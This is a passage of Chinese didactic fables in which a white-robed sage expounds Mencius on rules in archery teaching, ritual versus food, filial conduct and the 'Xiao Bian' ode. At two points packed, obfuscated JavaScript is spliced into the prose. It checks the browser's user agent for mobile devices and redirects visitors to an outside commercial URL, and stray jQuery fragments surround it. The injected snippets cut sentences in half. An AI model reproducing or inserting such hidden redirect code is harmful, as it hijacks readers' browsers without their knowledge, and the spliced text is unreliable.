三日，白衣人教引弓：臂平，弦贴颊，目凝一点。以线悬石，系阿拙肘，令其持弓平举。阿拙颤如秋叶，白衣人曰：“羿射九日，非一日之功。忍此规矩，方有来日。” 后胜见阿敏焦躁，始令其执弓，然不教姿势，但曰：“随心而射。”阿敏乱射，箭落足前。 至五日，阿拙可立定、握稳、引平，然未发一箭。阿敏已射百箭，无一中靶，臂肿如藕。 十日之期至，射场人山人海。后胜傲然：“吾徒已得箭心，必中！”白衣人但笑。 先射者阿敏。引弓颤抖，箭出如醉汉，斜飞入草。连射十箭，皆脱靶。众哄笑。 阿拙上场，立定、握弓、引弦，虽稚嫩，然姿势端整。白衣人于旁道：“莫看靶，看你规矩。”阿拙松弦，箭出，中靶边。又九箭，皆上靶，有三箭近红心。 满场静，继雷动。后胜面如死灰。 白衣人问阿拙：“可觉规矩缚你？” 阿拙挠头：“初时缚，今觉…觉规矩帮我。箭出时，不慌。” “善！”白衣人拊掌，对众道，“诸君见否？规矩非枷锁，是阶梯。阿拙循阶而上，虽慢却稳；阿敏弃阶而跃，虽高必坠。此正是孟子所言：‘大匠诲人必以规矩，学者亦必以规矩。’” 后胜羞惭，欲闭馆。白衣人止之：“馆主何需如此？羿门射术，自有精妙。然弃规矩而谈精妙，是舍本逐末。今愿与馆主共订‘羿门新规’，可愿？” “愿闻！” 三、 规矩辩 白衣人邀后胜及江陵众教席，聚于射圃，论“规矩之道”。 有书塾先生叹：“今之童子，多厌规矩。坐需直，书需正，每多抱怨。不若任其自然…” 白衣人问：“任其自然，可能成字？” “这…歪斜而已。” “是了。”白衣人道，“初学需规矩，如童学步需扶。然规矩非目的，是手段。羿之彀，是手段，中的是目的；大匠规矩，是手段，成器是目的。今人常见两种谬误——” 他竖二指： “一谬，弃规矩求自然。如羿门初时，不教引弓，但求‘箭心’。此是空中楼阁。” “二谬，守规矩忘目的。有塾师但求童子坐直，不问其是否明理；有匠人但循尺规，不问器是否适用。此是买椟还珠。” 后胜恍然：“我犯第一谬。” 书塾先生赧然：“我…我常犯第二谬。” “然则何为真规矩？”有老匠问。 白衣人指场中箭靶：“规矩如靶，为的而设。羿教射，志在彀，是为中的；大匠诲人，必以规矩，是为成器。规矩需活，需因时因地因人而变。然万变不离其宗——宗是目的。今我立‘三问法’，诸君可自检。” 遂书于板： “授艺三问： 一、此规为何设？（为中的，为成器） 二、此规可达成否？（学者可循，可进） 三、此规可化否？（纯熟后，能否活用）” 众皆记诵。白衣人又曰：“规矩有死、活、化三境。死规矩，如绳缚人，愈动愈紧；活规矩，如舟载人，助其渡河；化规矩，如盐入水，不见其形，咸在其中。学者当从死入活，从活化无，方是真得。” 后胜拜问：“我门射规，当如何定？” 白衣人取弓，示以“羿门九规”：站、握、引、瞄、息、发、随、收、省。每规皆详解其理，又嘱：“此九规，如九阶。学者循阶而上，至顶可忘阶。然未登顶而毁阶，必坠。” 遂订《羿门新谱》，江陵射风为之一正。 四、 规矩化 阿拙习射三年，尽得九规。然每射必先默想规矩，动作僵硬。后胜忧之，问白衣人。白衣人但笑：“且观之。” 是年“射魁会”，阿拙参赛。引弓时，忽忘规矩，心慌手颤，箭出脱靶。众哗然。阿拙泪下，寻白衣人。 白衣人引其至江边，递一石：“掷水中，可起涟漪否？” 阿拙掷，涟漪圈圈。 “掷时，可思‘手如何扬，力如何发’？” “未思，自然掷出。” “着啊！”白衣人道，“规矩已化入你身，如盐入水。你强忆规矩，反成束缚。今当忘规矩，但问本心：我要中的。” 次日，阿拙再射。立定，不思规矩，但观靶心。引弓如呼吸，发箭如展眉，十箭皆中红心。夺魁。 后胜叹服：“此真化境！” 白衣人曰：“然化境由规矩入。无三年规矩，无今日之化。今阿拙可忘规矩，然若教人，仍需传规矩。此谓‘大匠诲人必以规矩’——非匠不知化境，是学者需阶而进。” 又三年，阿拙成羿门新师。有童问：“师傅，规矩可忘否？” 阿拙答：“可忘。然忘前需记，化前需守。如你今学步，需扶墙；他日奔走，自忘墙在。然无墙，你今日已跌。” 童恍然。阿拙授艺，必严规矩，然每授一规，必解其理：“此规非 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后胜卒，阿拙继馆主，严守碑训。每岁新徒入门，先拜碑，诵孟子。有童不耐，阿拙但问：“你学字，先描红否？射如字，无描红，不成体。” 淳化三十年，江陵大水，射圃淹，碑没。水退，乡人掘地三尺，得碑，洗净如新。众奇之，谓“规矩不灭”。乃移碑高阜，建“规矩亭”。 有游学士子过，见童子射箭，姿正神凝，问：“此地射艺，何以独盛？” 乡老指碑：“有规矩在耳。” 士子观碑，叹：“但得规矩立，何事不成？”归乡仿立“规矩堂”，授徒皆自规矩始。 百年后，有将军过江陵，见童子戏射，柳枝为弓，草茎为箭，然姿势俨然，中的颇多。将军奇：“何人教之？” 童答：“无人教，但见碑上画，自仿耳。” 将军往观，见碑阴有石刻“羿门九规图”，虽历风雨，线条清晰。将军拜碑：“但得规矩传，何需常师？” 是夜，有白衣人影现亭中，抚碑微笑，轻吟： “羿教射必志彀， 匠诲人必规矩。 但得此碑在， 人间有绳墨。” 吟罢，踏月而去。亭外古柳，枝条轻摆，如弓如彀。 本章诫世 一、 规矩之要 - 羿教射必志于彀，大匠诲人必以规矩，是成事之基 - 破解法：学者需敬畏规矩，教者需善立规矩 - 示例：后胜弃规矩求“神射”，反致弟子无成；阿拙守规矩渐进，终至化境 二、 规矩三境 - 守规、用规、化规，循序渐进 - 惕世：多少人未守而求用，未用而求化，终成空中楼阁？ - 反思：可曾轻慢基本功，好高骛远？ 三、 规矩非缚 - 规矩是舟楫阶梯，非枷锁牢笼 - 深层隐喻：文明在规矩中传承，自由在规矩中实现 - 终极指向：重规矩者得自由，轻规矩者终受缚 规矩偈： 淳化五年江陵秋，羿门射圃起谬流。 不教彀规但养心，十子竞射皆贻羞。 白衣立规十日验，阿拙循矩占鳌头。 至今碑亭柳荫下，犹闻弦鸣说刚柔。 后世叹： 大宋江陵有羿门，授射弃规但养神。 白衣示以彀规矩，童子验之假与真。 守规方得自由趣，循序始能化境臻。 寄语世间传道者，莫将阶梯等闲湮。 正是： 羿教射术必志彀，大匠诲人以规矩。 后胜弃规求神射，白衣立范验真趣。 守规非为缚手足，循序方能得自由。 寄语世间求学客，莫将阶梯作桎梏。 46. 礼食谳 楔子礼食辩 大齐开元九年，曲阜有儒生名孔礼，字守文，墨守古礼，一丝不苟。邻有任姓商人，专贩海盐，富而骄，常讥孔生迂腐。 是年饥荒，孔礼家无余粮，三日不食，犹正襟危坐，诵《礼经》。任商携酒肉过其门，见之，笑问：“孔兄，礼与食孰重？” 孔礼正色：“礼重。” “然则以礼食，则饥而死；不以礼食，则得食。今君守礼将死，若从我饮宴，破‘食不语’之礼，可得饱。必以礼乎？” 孔礼语塞。任商又道：“闻君聘东村张氏女，女家索聘礼三十金，君无。若循‘亲迎’之礼，则不得妻；若私奔，则得妻。必亲迎乎？” 孔礼面红，不能答。任商大笑而去。 是夜，孔礼饥病交加，昏卧床榻，忽闻窗外有人诵： “礼食孰重本末淆， 方寸之木比岑高。 不揣其本齐其末， 任人诡辩实可笑。” 强起推窗，见一白衣人立月下，斗笠面纱，木剑负背，手中执一枯穗、一嘉禾。 一、 方寸岑楼 孔礼揖问：“先生诵孟子言乎？” 白衣人颔首，入室，示以枯穗、嘉禾：“此二物，孰重？” 孔礼观之：“嘉禾实，自重于枯穗。” “然。”白衣人将枯穗置砚上，嘉禾置案下，问：“今枯穗高于嘉禾，可谓枯穗重于嘉禾否？” “不可，此位势之异，非本质之重。” “善哉！”白衣人拊掌，“孟子曰：‘不揣其本，而齐其末，方寸之木可使高于岑楼。’任商以‘守礼饿死’与‘违礼得食’相较，是以方寸之木比岑楼，谬矣！” 孔礼茫然：“请先生详示。” 白衣人展《孟子》卷，指“礼食”章：“任商之问，是偷换轻重。礼有轻重，食有缓急。譬如今你三日不食，是急；‘食不语’之礼，是末节。以末节之礼与救命之食比，是‘取礼之轻者与食之重者而比之’，自然食重。然岂可因噎废食，谓礼全无用？” 孔礼恍然：“是矣！我当辩之！” “且慢。”白衣人道，“孟子有妙答。我今扮任商，你试应之。” 遂扮任商声气：“孔兄，若扭兄之臂夺其食，则得食；不扭，则不得食，你将扭之乎？” 孔礼正色：“岂可！兄弟之伦，重于饮食。” “若逾东家墙搂其处女，则得妻；不搂，则不得妻，你将搂之乎？” “禽兽之行，死不为也！” “着啊！”白衣人复本声，“守礼饿死，是‘礼之重’；违礼得食，是‘食之轻’。岂可因轻废重？任商之谬，在以‘紾兄夺食’之恶，比‘守礼忍饥’之善，混为一谈。今我与你同访任商，可敢？” 孔礼振奋：“敢！” 二、 本末之辨 次日，任商正宴客，见孔礼偕白衣人来，嗤道：“孔兄得食矣？” 白衣人揖道：“任先生昨日之问，吾等有答。” 任商傲然：“愿闻高论。” 白衣人取桌上竹筷一双，一长一短，竖于案上。以书垫短筷，令其高于长筷，问：“此筷孰长？” “自是长筷长。” “然今短筷高，可谓短筷长乎？” 任商语塞。白衣人正色：“先生以‘守礼饿死’比‘违礼得食’，是以短筷垫高比长筷，是本末倒置。礼有本末，食有缓急。今请与先生明辨——” 他取杯水、斗米置案上：“水与米，孰重？” “自米重。” “然若有人渴极将死，水可活命；米虽多，不能解渴。此时水重乎？米重乎？” 任商迟疑。白衣人道：“此谓‘时、地、人’三异，轻重不同。礼之大本，是仁义；礼之末节，是仪文。孔兄忍饥守‘食不语’，是守末节；若为守礼而饿死，是舍本逐末，反违仁心——仁者爱身，身死何以行礼？然任先生以‘违礼得食’为辞，是诱人舍本逐末，更为不堪。” 任商面红：“我…我不过戏言…” “戏言可杀人。”白衣人厉声，“昔有愚人，闻‘男女授受不亲’，见嫂溺不救，嫂死。此人守礼乎？背礼乎？孟子曰：‘嫂溺不援，是豺狼也。’今孔兄之饥，如嫂之溺。不救而讥，是豺狼之讥也！” 满座客皆赧然。任商汗下，强辩：“然聘妻之事…” 白衣人截道：“聘妻之礼，本在诚敬，非在财货。若女家索重聘，是卖女，已失礼本。孔兄无财，是守廉，非违礼。任先生以‘私奔’为解，是教人逾墙搂处子，此乃大恶，岂可与礼并论？” 他取案上金樽、陶碗：“金重于土，然一钩金与一车土孰重？礼重于食，然一末节之礼与救命之食孰重？任先生以‘一钩金’之礼，比‘一车土’之食，是淆乱轻重。今请先生自答：若令你扭父之臂夺食，可得食；不扭，则饿死。你扭否？” 任商扑通跪地：“某…某知罪矣！” 三、 礼食之衡 任商既悔，邀孔礼、白衣人入内室，奉茶谢罪。白衣人问：“任先生行商，可有规矩？” “有。货真价实，童叟无欺。” “此商礼也。若有人言：‘守此规，则亏本；违此规，则得利。你守否？’” 任商正色：“必守！无此规，商道不存。” “善。”白衣人颔首，“此谓守本。然若此规致你身死，当如何？” 任商茫然。白衣人道：“譬如你运盐遇盗，盗言：‘弃规，诈称次品，我可分利；守规，则杀你。’你守否？” “这…命重，暂违可也。” “然也。”白衣人温言，“礼有经有权。经者常道，权者变通。孔兄忍饥守‘食不语’，是守经；若饿死，是忘权。然任先生诱其‘违礼得食’，是以权害经。今当明辨：何者为经？何者为权？” 遂为二人析： “礼之大经：仁义忠信，不可违。 礼之小经：仪文细节，可权变。 食之急者：救命活人，可权变。 食之常者：日常饮食，当守礼。 聘妻大经：诚敬专一，不可违。 聘妻小经：六礼程式，可权变。 妻之得者：两情相悦，礼为证。 妻之失者：财货相市，礼已坏。” 孔礼拜问：“然则我当如何？聘礼无着…” 白衣人自袖中取一锦囊：“内有三十金，可解燃眉。然需明告女家：此金是借，婚后共偿。若女家索财，是违礼本；你诚告之，是守礼实。可愿？” 孔礼泣谢：“愿！然先生何以助我？” “非助你，是护礼。”白衣人道，“礼之本在诚，今你诚而无财，是礼将坏。我护此礼，如护火种。” 任商亦道：“我愿赠二十金，赎前愆。” 孔礼却之：“任兄悔悟，便是赠礼。金不必。” 白衣人拊掌：“此谓得礼之本矣！” 四、 礼权之验 孔礼携金往张氏，明告借贷之事。女父初不悦，然见其诚，又闻白衣人、任商为证，叹道：“吾非卖女，是试尔心。今知尔诚，礼可省，婚即成。” 婚期定，然灾荒愈重，乡人易子而食。孔礼婚宴，仅粗茶淡饭。有讥其“失礼”者，孔礼对曰：“礼在诚敬，不在奢靡。今乡人饥，我若盛宴，是违仁心，大失礼也。” 任商闻之，散家财之半，设粥棚。有同业讥：“行商求利，何以散财？”任商正色：“商有商礼，仁为本。今灾民如嫂溺，不援是豺狼。” 白衣人暗观，颔首道：“二人皆得礼权矣。” 婚三日，有恶少聚众，欲抢粥棚存粮。任商率仆御之，恶少言：“守你商礼，则饿死；抢粮，则得活。你让否？” 任商忆白衣人语，朗声道：“若你扭母之臂夺食，可得食，你扭否？” 恶少怔住。任商又道：“我守商礼，是守仁。今我可分粮与你，然需以工代赈，共度荒年。可愿？” 恶少感泣，皆从之。粥棚遂扩为“礼食堂”，饥者得食，壮者务工，老弱得养。 孔礼设“礼教堂”于宅，授童子礼之本末。有童问：“先生，若礼与生冲突，何择？” 孔礼不答，但引至礼食堂，指任商：“此君昔以礼食刁难我，今以礼食活千人。你观礼重乎？食重乎？” 童恍然：“礼活人则重，礼害人则轻。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088198|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“善！”白衣人忽现，抚童首，“礼如药，用当则活人，用不当则杀人。今你等当学辨症下药，莫死守方剂。” 又对孔礼、任商道：“二位于礼，已得活法。然尚有一关需过。” “何关？” “名实之关。”白衣人道，“今你二人，一以守礼闻，一以行善闻。然若为守名而守礼，为博名而行善，是礼之贼也。当如孟子言：‘非礼之礼，非义之义，大人弗为。’” 二人肃然受教。 尾声礼食碑 灾荒过，礼食堂不解，转为“礼本堂”，专教人辨礼之本末。孔礼、任商共为主事，一授经，一授用，时人誉“礼门双璧”。 白衣人将去，二人请留名，白衣人但指堂前槐树：“礼如槐，根深乃叶茂。但得守本，何需留名？” 乃于堂前立“礼食碑”，刻孟子“礼食”全章。又镌“礼权三辨”： “一辨本末： 礼之本在仁，末在仪。 守本可权末，守末勿害本。 二辨轻重： 事有经有权， 经者常道，权者变通。 以经常权，愚；以权害经，恶。 三辨名实： 礼为实设，非为名存。 为名守礼，是礼之贼； 为实行礼，是礼之魂。” 碑成，白衣人踏歌去： “礼食孰重古今争， 不揣本末妄品评。 方寸之木可比岑， 一钩之金敢敌輶？ 紾兄夺食岂为智， 逾墙搂子实是狞。 愿君常怀礼本秤， 莫被末节误平生。” 后三十年，孔礼、任商同日无疾而终。乡人合葬之，碑曰“礼食二贤墓”。有狂生过墓，讥：“守礼饿死之辈耳！”牧童在侧，忽道：“你饥时，可扭母夺食？”狂生赧然。 又百年，战火毁堂，碑独存。有饥民倚碑，见“礼食”字，泣曰：“礼不活人，何用？”忽有长者携粥至，指碑道：“礼在粥中。”视之，乃礼本堂后人，世世守碑训，荒年必施粥。 自此，乡有谚：“饿看礼食碑，饱思礼食义。”童子启蒙，先读碑文。有问“礼重食重”，师不答，但令观庖厨：母烹食，必先奉翁姑，后予子女，自食其末。童悟：“礼在食中。” 暮夜，时有白衣影现碑前，抚文喃喃： “礼乎？食乎？” “本乎？末乎？” 槐花簌簌，如雪如答。 本章诫世 一、 本末之淆 - 任人诡辩，以礼之末节比食之急需，是方寸木比岑楼 - 破解法：遇两难，当辨本末轻重，莫被表象所惑 - 示例：孔礼初守“食不语”末节几饿死，是末害本；后明礼本在仁，遂得权变 二、 礼有权经 - 礼有经常之道，有权变之宜。嫂溺援手是权，守“男女有别”是经 - 惕世：多少人死守末节而害本？多少人假权变而毁经？ - 反思：所守所执，是礼之本，还是礼之末？ 三、 礼在实行 - 礼非虚文，在活人实用。为名守礼是贼，为实守礼是魂 - 深层隐喻：文明在礼，然礼需与时俱进，不离本宗 - 终极指向：明本末，知权经，礼方为活礼 礼食偈： 开元九年曲阜饥，孔生守礼命如丝。 任人诡辩淆本末，白衣析理明权宜。 礼在活人不在死，食为续命不为私。 至今碑前槐花落，犹说经权不可离。 后世叹： 大齐儒生孔守文，忍饥守礼几亡身。 任商诡问淆轻重，白衣妙析辨伪真。 礼有权经常变用，食分缓急可屈伸。 寄语世间执礼客，莫将末节作天钧。 正是： 礼食之辩古所争，不揣本末妄重轻。 方寸之木可比岑，一钩之金敢敌輶？ 紾兄夺食岂为得，逾墙搂子实是狞。 愿君常怀权经常，莫被礼文误苍生。 47. 尧舜谳 楔子九尺叹 大唐贞元七年，青州有壮士曹交，身长九尺四寸，力能扛鼎，然目不识丁，以贩薪为生。常对井自照，叹曰：“吾闻文王十尺，汤九尺，皆成圣王。今吾身量相类，何独食粟而已？” 一日，曹交担薪入城，遇士子车驾，避道稍迟，遭鞭叱：“莽夫挡道！”曹交怒，几挥拳，忽忆老母“忍”字，强按怒火。归途，于茶肆闻说书人讲《孟子》，言“人皆可以为尧舜”，曹交掷薪问：“果有是言？” 说书人曰：“孟子谓曹交问云云…” 曹交大喜：“我亦名曹交！然则我亦可为尧舜乎？” 满座哄笑。有书生讥：“尧舜岂是力夫可及？兄但食粟可矣。” 曹交羞愤，担薪疾走。至家门，见老母倚闾，白发飘萧，忽悲从中来，跪泣：“儿空长九尺，不能养母，岂可为尧舜？” 忽闻柴扉外有人作歌： “人人皆可为尧舜， 何须身量论尺寻？ 徐行后长即是弟， 孝弟之道在寸心。” 曹交惊视，见一白衣人立篱外，斗笠面纱，木剑负背，手中拈着一节枯枝。 一、 乌获之任 曹交迎入，白衣人指其薪担：“此重几何？” “三百斤。” “可再加否？” “五百斤可也。” 白衣人颔首，自怀中取一页残简，乃《孟子》曹交章：“子既知孟子言，可知‘举乌获之任，是亦为乌获而已矣’何意？” 曹交茫然。白衣人道：“乌获，古之力士。孟子言，今有人力不能胜一匹雏，是无能；若能举百钧，便是有能。然则能举乌获所举之重，便是乌获了。君力能扛鼎，已是乌获之力。尧舜之道，岂在力乎？” 曹交恍然：“然则尧舜在…” “在孝弟。”白衣人截道，“徐行后长者谓之弟，疾行先长者谓之不弟。君今日入城，可曾让长者？” 曹交赧然：“有老妪负囊，我…我急行越之。” “此即不弟。”白衣人温言，“徐行让长，岂人所不能？所不为也。今君力能举鼎，而不肯让老妪，是力大而德小，何谈尧舜？” 曹交汗下，忽忆避车挨鞭事，更惭。白衣人续道：“尧舜之道，孝弟而已。君有老母，可曾晨昏定省？可曾温言慰怀？” 曹交泣拜：“先生教我！我愿为尧舜！” “非我教，是孟子教。”白衣人扶起，“孟子曰：‘子服尧之服，诵尧之言，行尧之行，是尧而已矣。’今君不需服尧服，不需诵尧言，但行尧行——尧之行，孝弟也。自今日始，晨省昏定，让长扶弱，便是行尧行。可愿？” “愿！” “然有一试。”白衣人指门外，“今有老丐卧雪，君可愿让出半屋，奉以热粥？” 曹交怔住——屋仅一间，母病畏寒… “不愿则已。”白衣人转身欲行。 “愿！”曹交咬牙，“我力壮，可宿檐下。” “善！”白衣人拊掌，“此一念，便是尧舜之芽。” 二、 徐行记 曹交果迎老丐入室，奉粥赠被，自卧柴房。夜半雪深，冻醒，忽闻屋中母咳，急入视。见老丐为母捶背，母笑：“此翁善推拿，吾舒畅矣。”曹交感泣。 白衣人暗观，颔首。 次日，曹交入城贩薪。至城门，遇昨日鞭己之车驾。正欲避，见一老翁蹒跚，车夫叱骂，曹交忽挺身，挡老翁前，对车夫揖道：“尊驾稍待，容老人先过。”车中士子探头，见曹交魁梧，悻悻允之。 老翁谢，曹交忽觉胸中畅快，胜扛鼎。 白衣人现于道旁，笑问：“此乐与得钱孰乐？” 曹交憨笑：“此乐久。” “是矣。”白衣人道，“此便是徐行后长者之乐。尧舜之乐，不过如此。” 又数日，曹交贩薪归，见童子斗殴，一童泣曰：“彼夺我馍…”曹交本欲行，忽忆“尧舜之道，孝弟而已”，弟者，悌也，爱幼亦悌。遂上前劝解，赠二童各一馍，曰：“勿争，共享可也。” 童子拜谢。曹交归途，步履轻快。白衣人忽现，问：“今可为尧舜否？” 曹交挠头：“但行小事，岂敢比尧舜？” “差矣。”白衣人正色，“尧舜所行，无非孝弟爱人。今你事母孝，让长老，恤幼弱，已是尧舜之行。但持之以恒，便是尧舜。” 曹交恍然，又疑：“然我目不识丁…” “识字与孝弟孰要？”白衣人问，“有博士不孝，识字何为？有力夫孝母，即是圣行。子不见孟子言‘道若大路然，岂难知哉’？孝弟便是大路，人人可循，何需识字？” 曹交再拜：“愿从先生学。” “我非师，孝弟是师。”白衣人道，“子归而求之，有余师。家中老母是师，乡里长者是师，路上乞儿亦是师。但问孝弟，处处是师。” 言罢，飘然而去。曹交独立雪中，如有所悟。 三、 假馆之悟 曹交孝弟之名渐传。有邹姓乡绅闻之，邀至府中，欲聘为护院。曹交见邹府豪奢，心动，然思老母孤苦，婉拒：“母在，不远游。” 邹君奇之，问：“闻君慕尧舜，然尧舜岂是匹夫可及？” 曹交对曰：“尧舜之道，孝弟而已。交事母孝，让长老，便是行尧舜行。匹夫匹妇，皆可为尧舜。” 邹君赧然——自身富甲一方，然老父独居别院，经年不往。遂改容谢，迎父归正堂，晨昏定省。青州传为美谈。 曹交事母愈谨。母病，亲尝汤药，夜不解带。母卒，哀毁骨立，结庐墓侧，守孝三年。白衣人时来暗观，见曹交虽粗衣陋食，然目有慈光，行动和缓，与昔年莽夫判若两人。 三年孝满，邹君来请，愿荐于州府为吏。曹交辞：“交不识字，不堪吏职。但愿于城门设‘让道棚’，劝人孝弟。” 邹君助成其事。曹交日坐棚中，见车马争先者，则劝：“徐行后长，即是尧舜。”见负重者，则助。初人笑其迂，久而感其诚，城门礼让成风。 一日，有京官过，见城井然，问故。吏以曹交对。京官召见，问：“君不识字，何以教化？” 曹交对：“孝弟不在字，在行。让道是弟，奉亲是孝。人人能行，人人尧舜。” 京官叹服，欲表朝廷。曹交又辞：“交本力夫，偶行孝弟，何功之有？若朝廷重孝弟，则天下皆尧舜，不待表彰。” 京官归奏，帝感其诚，诏州县兴“孝弟科”，不试文章，但察品行。青州曹交，为天下倡。 白衣人闻之，贺曹交：“子今为尧舜矣。” 曹交泣：“此皆先生所教。” “非我所教，是子自行。”白衣人道，“孟子谓‘人病不求耳’，子肯求孝弟，故得之。今子可答当年之问否——人皆可为尧舜乎？” “可！”曹交朗声，“徐行后长即是弟，力能举鼎亦为乌获。但行孝弟，人人尧舜；但求则得，何需他寻？” 四、 余师篇 曹交晚年，于城门侧建“孝弟亭”，亭中悬“尧舜镜”，镜旁镌孟子语。每日坐亭中，为路人讲“徐行后长”之理。有童问：“公公，尧舜是何模样？” 曹交指镜：“你对此镜笑，镜中何人？” “我自己。” “是矣。你孝父母，友兄弟，便是镜中尧舜。” 又壮汉问：“我贫，无力奉亲，可为尧舜否？” 曹交反问：“无力奉甘旨，可奉笑颜否？无力赠锦衣，可赠暖语否？尧舜之道，在心不在物。” 壮汉悟，归家事母，虽粗茶淡饭，母悦而康。 白衣人时来暗观，见亭中老少咸集，有士子听樵夫讲孝弟，有官人向乞儿学让道，莞尔道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088199|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “此真‘道若大路’也。” 贞元三十年，曹交无疾终。临终，执邹君子手曰：“孝弟…大道也，在…在…”手指“尧舜镜”，含笑而逝。 青州人葬之于孝母墓侧，碑曰“力夫曹交，行比尧舜”。送葬者万余人，皆白衣徐行，不争不抢，肃穆井然。有童子问父：“曹公是尧舜乎？” 父答：“但看你能否徐行。” 童遂缓步，让长者先。 尾声尧舜亭 曹交卒后，孝弟亭香火不绝。每有争端，乡老便引至亭中，问：“若是曹公，当如何？”争者多惭而和解。 有狂生讥：“力夫而称尧舜，僭也！”夜梦白衣人问：“子可曾让过老妪？”狂生醒，汗透衣，晨起即至亭洒扫。 百年后，亭圮镜失。有游方僧过，于废基掘得残碑，上有“人皆可以为尧舜”七字。僧问乡老：“此碑何人立？” 乡老述曹交事。僧合十：“力夫能行，我辈何辞？”遂结庐守碑，日诵《孟子》。不数年，信众云集，重建“尧舜亭”，僧为亭主，不念佛，但讲孝弟。 有士子问：“尧舜乃圣王，孝弟匹夫皆可，岂非等圣贤于凡人？” 僧指亭前路：“此路，圣贤可行，凡人可行，犬豕亦可。道在行，不在名。子但徐行让长，便是圣贤行；若疾行争先，便是犬豕行。与身份何干？” 士子拜服。自此亭中训条： “不问出身，但问孝弟； 不论文武，但看行止。 徐行后长，即是尧舜； 疾行抢先，便是桀纣。 道在足下，何需远求？” 月明之夜，白衣人影时现亭中，抚碑轻吟： “人人皆可为尧舜， 孝弟便是登圣梯。 徐行后长寻常事， 何必深山觅紫芝？ 道在途中君不见， 师在身旁汝不知。 但得回头问本心， 尧舜原不隔毫厘。” 吟罢，踏月徐行，步步生莲。 亭外古槐，新枝年年。 似在说： 徐行啊，徐行。 让一步，尧舜。 抢一步，桀纣。 本章诫世 一、 尧舜在行 - 人皆可为尧舜，非虚言，在孝弟躬行 - 破解法：莫自诩平凡，但问孝弟行否 - 示例：曹交力夫而行孝弟，即成乡贤；邹君富而不孝，愧对其言 二、 徐行之要 - 徐行后长者谓之弟，疾行先长者谓之不弟。此日常小事，即尧舜之道 - 惕世：多少人好高骛远求圣贤，却不肯让座老者？多少博学鸿儒，不如一让道力夫？ - 反思：可曾疾行抢先，失却弟道？ 三、 道在足下 - 道若大路，岂难知哉？人病不求耳 - 深层隐喻：圣贤之道在伦常日用，不在玄虚高远 - 终极指向：孝弟是路，人人可走；尧舜是境，步步可至 尧舜偈： 贞元七年青州冬，力夫曹交问圣踪。 身长九尺空食粟，白衣指路启愚衷。 徐行后长即是弟，孝母奉亲便为恭。 至今亭前行人过，犹效当年让道风。 后世叹： 大唐曹交一力夫，身长九尺贩薪刍。 慕尧舜道问孟子，行孝弟行化乡闾。 徐行后长成风俗，力让争先启顽愚。 寄语世间求圣者，道在途中莫他趋。 正是： 曹交问舜孟曰然，人人皆可至圣贤。 徐行后长即是弟，孝亲友兄便在肩。 道如大路岂难识，师在身旁何用迁？ 寄语世间慕尧客，但行孝弟即舜天。 48. 弁风谳 楔子诗会争 大梁开成五年，金陵“停云诗社”会文。社长高子墨，年七十，以诗学名世。是日论《诗经》，高子指《小弁》篇，斥道：“此诗怨父，小人声口！” 座中有少年公孙忧，起而质：“《小弁》乃孝子之诗，何以谓小人？” 高子冷笑：“诗云‘何辜于天，我罪伊何’，怨天尤父，非小人乎？” 公孙忧欲辩，高子拂袖：“黄口小儿，也解诗乎？”满座皆附和高子。 公孙忧愤而离席，独行江畔，对月长吁：“高叟固哉！” 忽闻柳下有人吟哦： “越人射我谈笑道， 兄弓射我涕泪零。 《小弁》之怨是亲亲， 高叟论诗何太冥？” 回首，见一白衣人倚柳，斗笠面纱，木剑负背，手中展着一卷《诗经》。 一、 越兄之射 公孙忧揖问：“先生亦知《小弁》之辩？” 白衣人合卷：“适闻诗会，高叟之论，是越人之射也。” “何谓越人之射？” 白衣人折柳为弓，对江月虚引：“有人于此，越人关弓射之，你谈笑说道：‘彼与我疏，射我常也。’无他，疏之故。若其兄关弓射之，你必垂涕道之：‘兄何射我？’无他，戚之故。《小弁》之怨，是兄射之涕，非越射之笑。高叟以疏论戚，岂不谬哉？” 公孙忧恍然：“是矣！《小弁》乃太子宜臼作，其父幽王宠褒姒，逐己，故怨。此怨是亲亲之怨！” “然也。”白衣人颔首，“亲亲，仁也。子怨父过，是望父改；若漠然置之，是视父如越人，反是不仁。高叟但见怨字，不察怨情，是‘固哉高叟之为诗’。” 公孙忧再拜：“然则《凯风》何以不怨？” 白衣人展《凯风》篇：“‘凯风自南，吹彼棘心。棘心夭夭，母氏劬劳。’此诗子慰母劳，无怨。然不怨非无情，是因‘亲之过小’。母氏小过，子能谅，故不怨。《小弁》亲之过大——父逐嫡子，乱宗庙，此大过。过大而不怨，是愈疏；过小而怨，是苛责。皆非孝也。” 公孙忧如醍醐灌顶：“愿从先生学诗！” “诗在人情，不在字句。”白衣人道，“我与你同访高叟，可敢？” “敢！” 二、 亲疏之辨 高子墨归宅，犹愤愤：“竖子敢驳我！”忽闻叩门，仆引二人入，前为公孙忧，后随白衣人。 高子不悦：“汝又来聒噪？” 白衣人揖道：“晚生有诗疑，请高叟解惑。” “讲。” “昔有越人射我，我谈笑道之；兄射我，我垂涕道之。此二射，何以异？” 高子嗤：“疏戚之别，何需问？” “然也。”白衣人正色，“《小弁》之怨，是兄射之涕，高叟何以视为越射之笑？” 高子语塞。白衣人续道：“《小弁》诗云‘靡瞻匪父，靡依匪母’，子虽怨，仍瞻依父母，是亲亲之怨。高叟但斥‘怨’字，是见涕为笑，岂不谬乎？” 高子面红，强辩：“然怨父终非孝…” “舜父瞽瞍屡欲杀舜，舜怨否？”白衣人问。 “舜至孝，岂怨？” 